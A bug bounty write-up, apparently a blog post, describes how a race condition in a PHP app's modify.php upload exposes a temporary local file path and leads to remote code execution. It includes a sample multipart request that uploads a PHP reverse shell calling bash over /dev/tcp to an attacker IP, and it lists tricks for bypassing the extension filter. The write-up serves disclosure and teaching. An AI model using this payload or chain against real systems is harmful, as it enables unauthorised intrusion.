Race Condition that could Result to RCE - (A story with an App that temporary stored an uploaded file within 2 seconds before moving it to Amazon S3)
By: Yoko Kho
Tags: Infosec, Bug Bounty, Race Condition, File Upload, Rce

II. THE DETAIL STORY ABOUT THE RCE

At this section, we will try to explain in step by step about how finally we got an RCE.

FYI, we tried to sketch the interface manually as best as we can, so hopefully could help the readers to see the situation.

2.1. Facing the Internal Dashboard — Meet the Upload Function

So, after we got an access into the internal dashboard (will be released later about how we got it), we didn’t stop hunting. At this point, then we tried to look any file upload feature that maybe exist at the app. After few minutes, then we finally found a feature that could be used to publish a news/article via this dashboard. And then, we learn that if every file that we would like to upload to every available section (news/article or anything), then it will be procced by the function called upload.php.

Basically, every available section will have an upload interface like this:

Figure 2 Interface of Upload Feature

Without thinking too much, then we directly upload the simple .php shell again via this feature (previously, it was vulnerable by giving the .phtml extension and fixed. Then we tried to test this feature again). But things aren’t going well, the feature has a protection to filter the .php extension. We tried to combining the extension with upper & lower case (ex: .PhP), also added some number behind the extension (ex: .php3), and tried various way (as far as we know — doubling the extension, null character, added ; character, and more) to bypass the protection, then it failed. We always got this lovely warning.

Figure 3 Protection at the Application

Then we think, how about the stored XSS, such as maybe upload the .html, .xml, or .svg format? Well, this one is successfully uploaded. But then, we realized if the file was moving out into the S3 bucket. Then, what’s the point if we could trigger the XSS but at the S3 bucket domain? Well, since we have no idea to “using” it further, then we assume if this one is not an issue.

2.2. Meet the Second Upload Function, Modify.php

What’s next? After we have no idea about how to “use” the “uploaded” file into the S3 bucket, then we back into first page of “news” section that contain so many forms to be add with the new content.

After looking it carefully, then we realized if there is an “edit” button at the same row with the legitimate file that uploaded into the S3 bucket.

Figure 4 Function Edit / Delete the Uploaded File

At this point, we try to click the “edit” button and trying to see what will happened.

Just as expected, then we will face the upload feature too at this section. At the first time we see it, we think that this form is filtering the .php extension too (since we thought, how can it could be different with the first one?). But, surprisingly, this upload feature doesn’t filter any extension yet.

In short, we could upload the .php file directly without meet any trouble.

Figure 5 Upload Feature to Replacing the Existing File

When our shell has been uploaded, then we try to re-upload the shell and find out the function that used. If this one doesn’t have any filter feature yet, then high possibility if this is the different function as previous. And our assumption is correct. The function that used at this endpoint is “modify.php”, not “upload.php”. Here is the sample request that made with “modify.php”:

Content-Disposition: form-data; name="fileid" 31337 -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="name" picture-1.png -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="description" -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="userfile"; filename="reverse.php" Content-Type: text/php <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'"); -----------------------------09234599689937136550676151776 Content-Disposition: form-data; name="save" Save

So, is it finish? So sad, not yet. The .php file is also moving out into the S3 bucket and we can’t do anything with the uploaded file.

2.3. Race Condition to Get the Local Path

To be honest, at that time, we have no idea anymore, until we finally try to send the request multiple times with “null” payloads (via intruder mode at burpsuite). Please kindly don’t ask, why we do that.

Surprisingly, after several request has been made, we got a different response length (somehow need around 10 requests, somehow more than 20–30 requests). If the normal request will result to 1147 response lengths, at one point, it hits 1710 response lengths.

Here is the sample of the “same” multiple request that we did:

Figure 6 Sending Multiple Request with Null Payload

And here is the normal response that we will get normally (1147 response lengths):

Figure 7 Normal Response with 1147 Response Lengths

So, what is the content from the un-normal response length that we got? The good one, it reveals the local path of the file.

Figure 8 The Race Condition has Reveals the Local Path

When we see this result, then finally we thought if we just need to access the path at the browser and waiting for the listener triggering up the shell.

But once again, so sad, it not like that. When access the file via our browser, we got the famous alert, which is: “File not Found”. And if we check the path of the file that has been uploaded, it still showing the S3 bucket location, not the local path that we got from this error.

So, from this execution, we learn if the file is somehow was stored locally around 1–2 seconds before they move it automatically into the S3 bucket.

2.4. Triggering the Shell and Got an RCE

From the last assumption, then there is one thing that come up at our mind: “how if we run the race condition again, and at the same time, we request the local path that we found (from the error result) to our browser to triggering the reverse shell?”

How is it? Finally, this trick works well.

So, we setup the listener at our server -> then try to replacing the existing file at the app with our reverse shell -> conduct the race condition multiple times (1,000 requests could buffer our time) -> take the local path from the different response length from race condition execution -> repeatedly access the path via our browser -> and when the app is hit by the race condition again, then the shell will be triggered into our listener.

Here is the simple flow related the execution:

Figure 9 Flow of the Execution

And here is the simple result from the RCE: